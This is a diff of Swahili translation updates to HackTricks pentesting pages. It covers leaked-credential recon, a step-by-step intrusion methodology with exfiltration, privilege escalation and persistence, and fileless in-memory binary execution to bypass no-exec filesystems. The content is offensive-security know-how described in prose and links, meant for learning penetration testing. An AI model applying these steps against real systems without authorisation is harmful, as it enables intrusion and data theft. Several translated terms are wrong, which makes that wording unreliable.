||||
## Mvuvi wa Siri
|
||||
|
||||
Mvuja wa akida unahusiana na uvunjaji wa kampuni ambapo **habari nyeti ilivuja na kuuzwa**. Hata hivyo, kampuni zinaweza kuathiriwa na **mvuja nyingine** ambazo habari zake haziko katika hizo databasi:
|
||||
Mvuvi wa akida unahusiana na uvunjaji wa kampuni ambapo **habari nyeti ilivuja na kuuzwa**. Hata hivyo, kampuni zinaweza kuathiriwa na **mvuvi mwingine** ambao habari yake haipo katika hizo databasi:
|
||||
|
||||
### Mvuja wa Github
|
||||
### Mvuvi wa Github
|
||||
|
||||
Akida na APIs zinaweza kuvuja katika **hifadhi za umma** za **kampuni** au za **watumiaji** wanaofanya kazi kwa kampuni hiyo ya github.\
|
||||
Unaweza kutumia **zana** [**Leakos**](https://github.com/carlospolop/Leakos) **kupakua** hifadhi zote za **um public** za **taasisi** na za **developers** zake na kuendesha [**gitleaks**](https://github.com/zricethezav/gitleaks) juu yao kiotomatiki.
|
||||
Unaweza kutumia **zana** [**Leakos**](https://github.com/carlospolop/Leakos) **kupakua** hifadhi zote za **um public** za **taasisi** na za **waendelezaji** wake na kuendesha [**gitleaks**](https://github.com/zricethezav/gitleaks) juu yao kiotomatiki.
|
||||
|
||||
**Leakos** pia inaweza kutumika kuendesha **gitleaks** dhidi ya **maandishi** yaliyotolewa **URLs yaliyopitishwa** kwake kwani wakati mwingine **kurasa za wavuti pia zina siri**.
|
||||
|
||||
|
@ -585,14 +585,14 @@ Angalia pia **ukurasa** huu kwa **github dorks** zinazoweza kutafutwa katika shi
|
|||
[github-leaked-secrets.md](github-leaked-secrets.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Mvuja wa Pastes
|
||||
### Mvuvi wa Pastes
|
||||
|
||||
Wakati mwingine washambuliaji au wafanyakazi tu wata **chapisha maudhui ya kampuni katika tovuti ya paste**. Hii inaweza kuwa na au isiwe na **habari nyeti**, lakini ni ya kuvutia kutafuta.\
|
||||
Unaweza kutumia zana [**Pastos**](https://github.com/carlospolop/Pastos) kutafuta katika zaidi ya tovuti 80 za paste kwa wakati mmoja.
|
||||
|
||||
### Google Dorks
|
||||
### Mvuvi wa Google
|
||||
|
||||
Google dorks za zamani lakini za dhahabu daima ni muhimu kupata **habari zilizofichuliwa ambazo hazipaswi kuwa hapo**. Tatizo pekee ni kwamba [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) ina maelezo kadhaa **elfu** ya maswali yanayoweza kutekelezwa ambayo huwezi kuyatekeleza kwa mikono. Hivyo, unaweza kuchukua 10 zako unazopenda au unaweza kutumia **zana kama** [**Gorks**](https://github.com/carlospolop/Gorks) **kuziendesha zote**.
|
||||
Dorks za zamani lakini za dhahabu daima ni muhimu kupata **habari zilizo wazi ambazo hazipaswi kuwa hapo**. Tatizo pekee ni kwamba [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) ina maelezo kadhaa **elfu** ya maswali yanayoweza kutekelezwa ambayo huwezi kuyatekeleza kwa mikono. Hivyo, unaweza kuchukua 10 zako unazopenda au unaweza kutumia **zana kama** [**Gorks**](https://github.com/carlospolop/Gorks) **kuziendesha zote**.
|
||||
|
||||
_Kumbuka kwamba zana zinazotarajia kuendesha database yote kwa kutumia kivinjari cha kawaida cha Google hazitamalizika kamwe kwani google itakuzuia haraka sana._
|
||||
|
||||
|
@ -604,7 +604,7 @@ Ikiwa unapata **akida zilizovuja** halali au token za API, hii ni ushindi rahisi
|
|||
|
||||
Ikiwa umepata kwamba kampuni ina **msimbo wa chanzo wazi** unaweza **kuuchambua** na kutafuta **udhaifu** ndani yake.
|
||||
|
||||
**Kulingana na lugha** kuna **zana** tofauti unazoweza kutumia:
|
||||
**Kulingana na lugha** kuna zana tofauti unazoweza kutumia:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-web/code-review-tools.md" %}
|
||||
[code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md)
|
||||
|
@ -618,25 +618,25 @@ Pia kuna huduma za bure zinazokuruhusu **kuchunguza hifadhi za umma**, kama:
|
|||
|
||||
**Wingi wa udhaifu** unaopatikana na wawindaji wa makosa unapatikana ndani ya **maombi ya wavuti**, hivyo katika hatua hii ningependa kuzungumzia **mbinu ya kupima maombi ya wavuti**, na unaweza [**kupata habari hii hapa**](../../network-services-pentesting/pentesting-web/).
|
||||
|
||||
Ningependa pia kutoa kumbukumbu maalum kwa sehemu [**Zana za Skana za Kiotomatiki za Wavuti**](../../network-services-pentesting/pentesting-web/#automatic-scanners), kwani, usitarajie kwamba zitakupata udhaifu nyeti sana, zinakuja kwa manufaa kutekeleza kwenye **mchakato wa kazi ili kupata habari za awali za wavuti.**
|
||||
Ningependa pia kutoa kumbukumbu maalum kwa sehemu [**Zana za Skana za Kiotomatiki za Wavuti zenye chanzo wazi**](../../network-services-pentesting/pentesting-web/#automatic-scanners), kwani, ikiwa huwezi kutarajia zipate udhaifu nyeti sana, zinakuja kwa manufaa kutekeleza kwenye **mchakato wa kazi ili kupata habari ya awali ya wavuti.**
|
||||
|
||||
## Muhtasari
|
||||
|
||||
> Hongera! Katika hatua hii tayari umetekeleza **kuhesabu msingi wote**. Ndio, ni msingi kwa sababu kuna hesabu zaidi inaweza kufanywa (tutaona hila zaidi baadaye).
|
||||
> Hongera! Katika hatua hii tayari umetekeleza **kuhesabu msingi wote**. Ndio, ni msingi kwa sababu kuna hesabu zaidi inayoweza kufanywa (tutaona hila zaidi baadaye).
|
||||
|
||||
Hivyo tayari umepata:
|
||||
|
||||
1. Kupata **makampuni** yote ndani ya upeo
|
||||
2. Kupata **mali** zote zinazomilikiwa na makampuni (na kufanya skana za udhaifu ikiwa ziko ndani ya upeo)
|
||||
3. Kupata **domains** zote zinazomilikiwa na makampuni
|
||||
4. Kupata **subdomains** zote za domains (je, kuna kuchukuliwa kwa subdomain?)
|
||||
5. Kupata **IPs** zote (kutoka na **sio kutoka CDNs**) ndani ya upeo.
|
||||
6. Kupata **seva zote za wavuti** na kuchukua **picha za skrini** zao (je, kuna kitu chochote cha ajabu kinachostahili kuangaliwa kwa kina?)
|
||||
7. Kupata **mali zote za umma za wingu** zinazomilikiwa na kampuni.
|
||||
8. **Barua pepe**, **mvuja wa akida**, na **mvuja wa siri** ambazo zinaweza kukupa **ushindi mkubwa kwa urahisi sana**.
|
||||
1. Umefinda **makampuni** yote ndani ya upeo
|
||||
2. Umefinda **mali** zote zinazomilikiwa na makampuni (na kutekeleza skana za udhaifu ikiwa ziko ndani ya upeo)
|
||||
3. Umefinda **domains** zote zinazomilikiwa na makampuni
|
||||
4. Umefinda **subdomains** zote za domains (je, kuna kuchukuliwa kwa subdomain?)
|
||||
5. Umefinda **IPs** zote (kutoka na **sio kutoka CDNs**) ndani ya upeo.
|
||||
6. Umefinda **seva zote za wavuti** na kuchukua **picha ya skrini** zao (je, kuna kitu chochote cha ajabu kinachostahili kuangaliwa kwa kina?)
|
||||
7. Umefinda **mali zote za umma za wingu** zinazomilikiwa na kampuni.
|
||||
8. **Barua pepe**, **mvuvi wa akida**, na **mvuvi wa siri** ambazo zinaweza kukupa **ushindi mkubwa kwa urahisi sana**.
|
||||
9. **Pentesting wavuti zote ulizozipata**
|
||||
|
||||
## **Zana za Kiotomatiki za Utafiti Kamili**
|
||||
## **Zana za Ufuatiliaji wa Moja kwa Moja**
|
||||
|
||||
Kuna zana kadhaa huko nje ambazo zitatekeleza sehemu ya vitendo vilivyopendekezwa dhidi ya upeo fulani.
|
||||
|
||||
|
@ -645,19 +645,19 @@ Kuna zana kadhaa huko nje ambazo zitatekeleza sehemu ya vitendo vilivyopendekezw
|
|||
* [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw)
|
||||
* [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - Kidogo zamani na haijasasishwa
|
||||
|
||||
## **Marejeleo**
|
||||
## **Marejeo**
|
||||
|
||||
* Kozi zote za bure za [**@Jhaddix**](https://twitter.com/Jhaddix) kama [**Mbinu ya Mwindaji wa Makosa v4.0 - Toleo la Utafiti**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
* Kozi zote za bure za [**@Jhaddix**](https://twitter.com/Jhaddix) kama [**Mbinu ya Mwindaji wa Makosa v4.0 - Toleo la Ufuatiliaji**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa unavutiwa na **kazi ya uhalifu** na kujaribu kuvunja yasiyoweza kuvunjika - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa kiswahili ni lazima_).
|
||||
Ikiwa unavutiwa na **kazi ya uvunjaji** na kuvunja yasiyoweza kuvunjika - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa kiswahili vizuri kunahitajika_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya Uhalifu wa AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya Uhalifu wa GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya Uvunjaji wa AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya Uvunjaji wa GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -665,7 +665,7 @@ Jifunze na fanya mazoezi ya Uhalifu wa GCP: <img src="../../.gitbook/assets/grte
|
|||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki hila za uhalifu kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki hila za uvunjaji kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) hifadhi za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,7 +15,7 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="../.gitbook/assets/grte.png"
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa unavutiwa na **kazi ya hacking** na kuhack yasiyoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa Kiswahili vizuri kunahitajika_).
|
||||
|
||||
|
@ -46,22 +46,22 @@ Kabla ya kushambulia mwenyeji huenda ukapendelea **kuiba baadhi ya akidi** **kut
|
|||
|
||||
### 3- [Skana Bandari - Kugundua huduma](pentesting-network/#scanning-hosts)
|
||||
|
||||
Jambo la kwanza kufanya unapokuwa **ukitafuta udhaifu katika mwenyeji** ni kujua ni **huduma zipi zinaendesha** katika bandari zipi. Hebu tuone [**zana za msingi za kuskan bandari za wenyeji**](pentesting-network/#scanning-hosts).
|
||||
Jambo la kwanza kufanya unapo **angalia udhaifu katika mwenyeji** ni kujua ni **huduma zipi zinaendesha** katika bandari zipi. Hebu tuone [**zana za msingi za kuskan bandari za wenyeji**](pentesting-network/#scanning-hosts).
|
||||
|
||||
### **4-** [**Kutafuta matukio ya toleo la huduma**](search-exploits.md)
|
||||
### **4-** [Kuhakikisha matoleo ya huduma](search-exploits.md)
|
||||
|
||||
Mara tu unavyojua ni huduma zipi zinaendesha, na labda toleo lao, unapaswa **kutafuta udhaifu uliojulikana**. Huenda ukapata bahati na kuna exploit ya kukupa shell...
|
||||
|
||||
### **5-** Huduma za Pentesting
|
||||
|
||||
Ikiwa hakuna exploit ya kupendeza kwa huduma yoyote inayofanya kazi, unapaswa kutafuta **makosa ya kawaida katika kila huduma inayofanya kazi.**
|
||||
Ikiwa hakuna exploit ya kuvutia kwa huduma yoyote inayofanya kazi, unapaswa kutafuta **makosa ya kawaida katika kila huduma inayofanya kazi.**
|
||||
|
||||
**Ndani ya kitabu hiki utapata mwongozo wa pentest huduma za kawaida zaidi** (na nyingine ambazo si za kawaida sana)**. Tafadhali, tafuta kwenye orodha ya kushoto sehemu ya** _**PENTESTING**_ **(huduma zimepangwa kwa bandari zao za kawaida).**
|
||||
|
||||
**Ninataka kutoa kumbukumbu maalum kwa** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **sehemu (kama ni kubwa zaidi).**\
|
||||
Pia, mwongozo mdogo juu ya jinsi ya [**kutafuta udhaifu uliojulikana katika programu**](search-exploits.md) unaweza kupatikana hapa.
|
||||
Pia, mwongozo mdogo juu ya jinsi ya [**kupata udhaifu uliojulikana katika programu**](search-exploits.md) unaweza kupatikana hapa.
|
||||
|
||||
**Ikiwa huduma yako haipo ndani ya orodha, tafuta kwenye Google** kwa mafunzo mengine na **niambie ikiwa unataka niiongeze.** Ikiwa **huwezi kupata chochote** kwenye Google, fanya **pentesting yako ya kipofu**, unaweza kuanza kwa **kuungana na huduma, kuifanyia fuzzing na kusoma majibu** (ikiwa yapo).
|
||||
**Ikiwa huduma yako haipo kwenye orodha, tafuta Google** kwa mafunzo mengine na **niambie ikiwa unataka niiongeze.** Ikiwa huwezi kupata chochote kwenye Google, fanya **pentesting yako ya kipofu**, unaweza kuanza kwa **kuungana na huduma, kuifanyia fuzzing na kusoma majibu** (ikiwa yapo).
|
||||
|
||||
#### 5.1 Zana za Kiotomatiki
|
||||
|
||||
|
@ -73,7 +73,7 @@ Katika hali fulani **Brute-Force** inaweza kuwa na manufaa ili **kuathiri** **hu
|
|||
|
||||
### 6- [Phishing](phishing-methodology/)
|
||||
|
||||
Ikiwa katika hatua hii hujapata udhaifu wowote wa kuvutia unaweza **kuhitaji kujaribu phishing** ili kuingia ndani ya mtandao. Unaweza kusoma mbinu yangu ya phishing [hapa](phishing-methodology/):
|
||||
Ikiwa katika hatua hii huja pata udhaifu wowote wa kuvutia unapaswa **kujaribu baadhi ya phishing** ili kuingia ndani ya mtandao. Unaweza kusoma mbinu zangu za phishing [hapa](phishing-methodology/):
|
||||
|
||||
### **7-** [**Kupata Shell**](reverse-shells/)
|
||||
|
||||
|
@ -83,7 +83,7 @@ Haswa katika Windows unaweza kuhitaji msaada wa **kuepuka antiviruses**: [**Anga
|
|||
|
||||
### 8- Ndani
|
||||
|
||||
Ikiwa una matatizo na shell, unaweza kupata hapa mkusanyiko mdogo wa **amri muhimu zaidi** kwa wapentester:
|
||||
Ikiwa una matatizo na shell, unaweza kupata hapa **mkusanyiko mdogo wa amri muhimu zaidi** kwa wapentester:
|
||||
|
||||
* [**Linux**](../linux-hardening/useful-linux-commands.md)
|
||||
* [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
|
||||
|
@ -91,11 +91,11 @@ Ikiwa una matatizo na shell, unaweza kupata hapa mkusanyiko mdogo wa **amri muhi
|
|||
|
||||
### **9 -** [**Uhamishaji**](exfiltration.md)
|
||||
|
||||
Huenda ukahitaji **kutoa data fulani kutoka kwa mwathirika** au hata **kuingiza kitu** (kama vile skripti za kupandisha mamlaka). **Hapa una** [**post kuhusu zana za kawaida ambazo unaweza kutumia kwa madhumuni haya**](exfiltration.md)**.**
|
||||
Huenda ukahitaji **kutoa data kutoka kwa mwathirika** au hata **kuingiza kitu** (kama vile skripti za kupandisha mamlaka). **Hapa una** [**post kuhusu zana za kawaida ambazo unaweza kutumia kwa madhumuni haya**](exfiltration.md)**.**
|
||||
|
||||
### **10- Kupandisha Mamlaka**
|
||||
|
||||
#### **10.1- Privesc za Mitaa**
|
||||
#### **10.1- Privesc ya Mitaa**
|
||||
|
||||
Ikiwa wewe si **root/Msimamizi** ndani ya sanduku, unapaswa kutafuta njia ya **kupandisha mamlaka.**\
|
||||
Hapa unaweza kupata **mwongozo wa kupandisha mamlaka kwa ndani katika** [**Linux**](../linux-hardening/privilege-escalation/) **na katika** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
|
||||
|
@ -108,7 +108,7 @@ Unapaswa pia kuangalia hizi kurasa kuhusu jinsi **Windows inavyofanya kazi**:
|
|||
|
||||
**Usisahau kuangalia zana bora za kuorodhesha njia za Kupandisha Mamlaka za ndani za Windows na Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
|
||||
#### **10.2- Privesc za Kikoa**
|
||||
#### **10.2- Privesc ya Kihistoria**
|
||||
|
||||
Hapa unaweza kupata [**mbinu inayofafanua hatua za kawaida za kuorodhesha, kupandisha mamlaka na kudumu kwenye Active Directory**](../windows-hardening/active-directory-methodology/). Hata kama hii ni sehemu ndogo ya sehemu, mchakato huu unaweza kuwa **nyeti sana** kwenye kazi ya Pentesting/Red Team.
|
||||
|
||||
|
@ -124,26 +124,26 @@ Pata hapa njia tofauti za [**kudump nywila katika Windows**](https://github.com/
|
|||
**Tumia aina 2 au 3 tofauti za mitambo ya kudumu ili usihitaji kuathiri mfumo tena.**\
|
||||
**Hapa unaweza kupata baadhi ya** [**hila za kudumu kwenye active directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
|
||||
|
||||
TODO: Kamalisha kudumu Post katika Windows & Linux
|
||||
TODO: Kamalisha uhamasishaji wa Kudumu katika Windows & Linux
|
||||
|
||||
### 12 - Pivoting
|
||||
|
||||
Kwa **akidi zilizokusanywa** unaweza kuwa na ufikiaji kwa mashine nyingine, au labda unahitaji **kugundua na kuskan wenyeji wapya** (anza tena Mbinu ya Pentesting) ndani ya mitandao mipya ambapo mwathirika wako ameunganishwa.\
|
||||
Kwa **akidi zilizokusanywa** unaweza kuwa na ufikiaji kwa mashine nyingine, au labda unahitaji **kugundua na kuskan wenyeji wapya** (anzisha tena Mbinu ya Pentesting) ndani ya mitandao mipya ambapo mwathirika wako ameunganishwa.\
|
||||
Katika kesi hii, tunneling inaweza kuwa muhimu. Hapa unaweza kupata [**post inayozungumzia tunneling**](tunneling-and-port-forwarding.md).\
|
||||
Unapaswa pia kuangalia post kuhusu [Mbinu ya pentesting ya Active Directory](../windows-hardening/active-directory-methodology/). Huko utapata hila nzuri za kuhamasisha, kupandisha mamlaka na kudump akidi.\
|
||||
Bila shaka unapaswa pia kuangalia post kuhusu [Mbinu ya pentesting ya Active Directory](../windows-hardening/active-directory-methodology/). Huko utapata hila nzuri za kuhamasisha, kupandisha mamlaka na kudump akidi.\
|
||||
Angalia pia ukurasa kuhusu [**NTLM**](../windows-hardening/ntlm/), inaweza kuwa ya manufaa sana kuhamasisha katika mazingira ya Windows.
|
||||
|
||||
### ZAIDI
|
||||
|
||||
#### [Programu za Android](../mobile-pentesting/android-app-pentesting/)
|
||||
|
||||
#### **Kuhusisha**
|
||||
#### **Kuharibu**
|
||||
|
||||
* [**Kuhusisha Msingi wa Linux**](broken-reference/)
|
||||
* [**Kuhusisha Msingi wa Windows**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
* [**Zana za kuhusisha za Msingi**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/)
|
||||
* [**Kuharibu Msingi wa Linux**](broken-reference/)
|
||||
* [**Kuharibu Msingi wa Windows**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
* [**Zana za kuharibu za Msingi**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/)
|
||||
|
||||
#### [**Python Msingi**](python/)
|
||||
#### [**Python ya Msingi**](python/)
|
||||
|
||||
#### **Hila za Crypto**
|
||||
|
||||
|
@ -151,7 +151,7 @@ Angalia pia ukurasa kuhusu [**NTLM**](../windows-hardening/ntlm/), inaweza kuwa
|
|||
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa unavutiwa na **kazi ya hacking** na kuhack yasiyoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa Kiswahili vizuri kunahitajika_).
|
||||
|
||||
|
|
|
@ -1,36 +1,36 @@
|
|||
# Bypass FS protections: read-only / no-exec / Distroless
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa unavutiwa na **kazi ya hacking** na kuhack yasiyoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha kwa Kiholanzi kunahitajika_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Videos
|
||||
|
||||
Katika video zifuatazo unaweza kupata mbinu zilizotajwa kwenye ukurasa huu zikielezewa kwa undani zaidi:
|
||||
In the following videos you can find the techniques mentioned in this page explained more in depth:
|
||||
|
||||
* [**DEF CON 31 - Exploring Linux Memory Manipulation for Stealth and Evasion**](https://www.youtube.com/watch?v=poHirez8jk4)
|
||||
* [**Stealth intrusions with DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
|
||||
|
||||
## read-only / no-exec scenario
|
||||
|
||||
Ni kawaida zaidi na zaidi kupata mashine za linux zilizowekwa na **ulinzi wa mfumo wa faili wa kusoma tu (ro)**, hasa katika kontena. Hii ni kwa sababu kuendesha kontena na mfumo wa faili wa ro ni rahisi kama kuweka **`readOnlyRootFilesystem: true`** katika `securitycontext`:
|
||||
Ni kawaida zaidi na zaidi kukutana na mashine za linux zilizowekwa na **read-only (ro) file system protection**, hasa katika kontena. Hii ni kwa sababu kuendesha kontena na mfumo wa faili wa ro ni rahisi kama kuweka **`readOnlyRootFilesystem: true`** katika `securitycontext`:
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
|
||||
kind: Pod
|
||||
|
@ -45,10 +45,10 @@ securityContext:
|
|||
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
|
||||
</code></pre>
|
||||
|
||||
Hata hivyo, hata kama mfumo wa faili umewekwa kama ro, **`/dev/shm`** bado itaandikwa, hivyo ni uongo kwamba hatuwezi kuandika chochote kwenye diski. Hata hivyo, folda hii itakuwa **imewekwa na ulinzi wa no-exec**, hivyo ikiwa utashusha binary hapa huwezi **kuweza kuitekeleza**.
|
||||
Hata hivyo, hata kama mfumo wa faili umewekwa kama ro, **`/dev/shm`** bado itaandikwa, hivyo ni uongo hatuwezi kuandika chochote kwenye diski. Hata hivyo, folda hii itakuwa **imewekwa na no-exec protection**, hivyo ikiwa utashusha binary hapa huwezi **kuweza kuitekeleza**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Kutoka kwa mtazamo wa timu nyekundu, hii inafanya **kuwa ngumu kupakua na kutekeleza** binaries ambazo hazipo kwenye mfumo tayari (kama backdoors au waorodheshi kama `kubectl`).
|
||||
Kutoka kwa mtazamo wa timu nyekundu, hii inafanya **kuwa ngumu kupakua na kutekeleza** binaries ambazo hazipo kwenye mfumo tayari (kama backdoors au enumerators kama `kubectl`).
|
||||
{% endhint %}
|
||||
|
||||
## Easiest bypass: Scripts
|
||||
|
@ -63,21 +63,21 @@ Ikiwa unataka kutekeleza binary lakini mfumo wa faili haukuruhusu, njia bora ya
|
|||
|
||||
### FD + exec syscall bypass
|
||||
|
||||
Ikiwa una injini za script zenye nguvu ndani ya mashine, kama **Python**, **Perl**, au **Ruby** unaweza kupakua binary ili kuitekeleza kutoka kwenye kumbukumbu, kuihifadhi katika desktopu ya kumbukumbu (`create_memfd` syscall), ambayo haitalindwa na ulinzi huo na kisha kuita **`exec` syscall** ikionyesha **fd kama faili ya kutekeleza**.
|
||||
Ikiwa una baadhi ya injini za script zenye nguvu ndani ya mashine, kama **Python**, **Perl**, au **Ruby** unaweza kupakua binary ili kuitekeleza kutoka kwenye kumbukumbu, kuihifadhi katika file descriptor ya kumbukumbu (`create_memfd` syscall), ambayo haitalindwa na ulinzi huo na kisha kuita **`exec` syscall** ikionyesha **fd kama faili ya kutekeleza**.
|
||||
|
||||
Kwa hili unaweza kwa urahisi kutumia mradi [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Unaweza kupitisha binary na itaunda script katika lugha iliyoonyeshwa na **binary iliyoshinikizwa na b64 encoded** na maagizo ya **kufungua na kuondoa shinikizo** katika **fd** iliyoundwa kwa kuita `create_memfd` syscall na wito wa **exec** syscall kuikimbia.
|
||||
Kwa hili unaweza kwa urahisi kutumia mradi [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Unaweza kupitisha binary na itaunda script katika lugha iliyoonyeshwa na **binary iliyoshinikizwa na b64 encoded** na maagizo ya **kufungua na kuondoa shinikizo** katika **fd** iliyoundwa kwa kuita `create_memfd` syscall na wito kwa **exec** syscall kuikimbia.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Hii haifanyi kazi katika lugha nyingine za scripting kama PHP au Node kwa sababu hazina njia yoyote ya **kawaida ya kuita syscalls za moja kwa moja** kutoka kwenye script, hivyo haiwezekani kuita `create_memfd` kuunda **memory fd** kuhifadhi binary.
|
||||
Hii haiwezi kufanya kazi katika lugha nyingine za scripting kama PHP au Node kwa sababu hazina njia yoyote ya **kawaida ya kuita raw syscalls** kutoka kwenye script, hivyo haiwezekani kuita `create_memfd` kuunda **memory fd** kuhifadhi binary.
|
||||
|
||||
Zaidi ya hayo, kuunda **fd ya kawaida** na faili katika `/dev/shm` haitafanya kazi, kwani hutaruhusiwa kuikimbia kwa sababu **ulinzi wa no-exec** utaweza kutumika.
|
||||
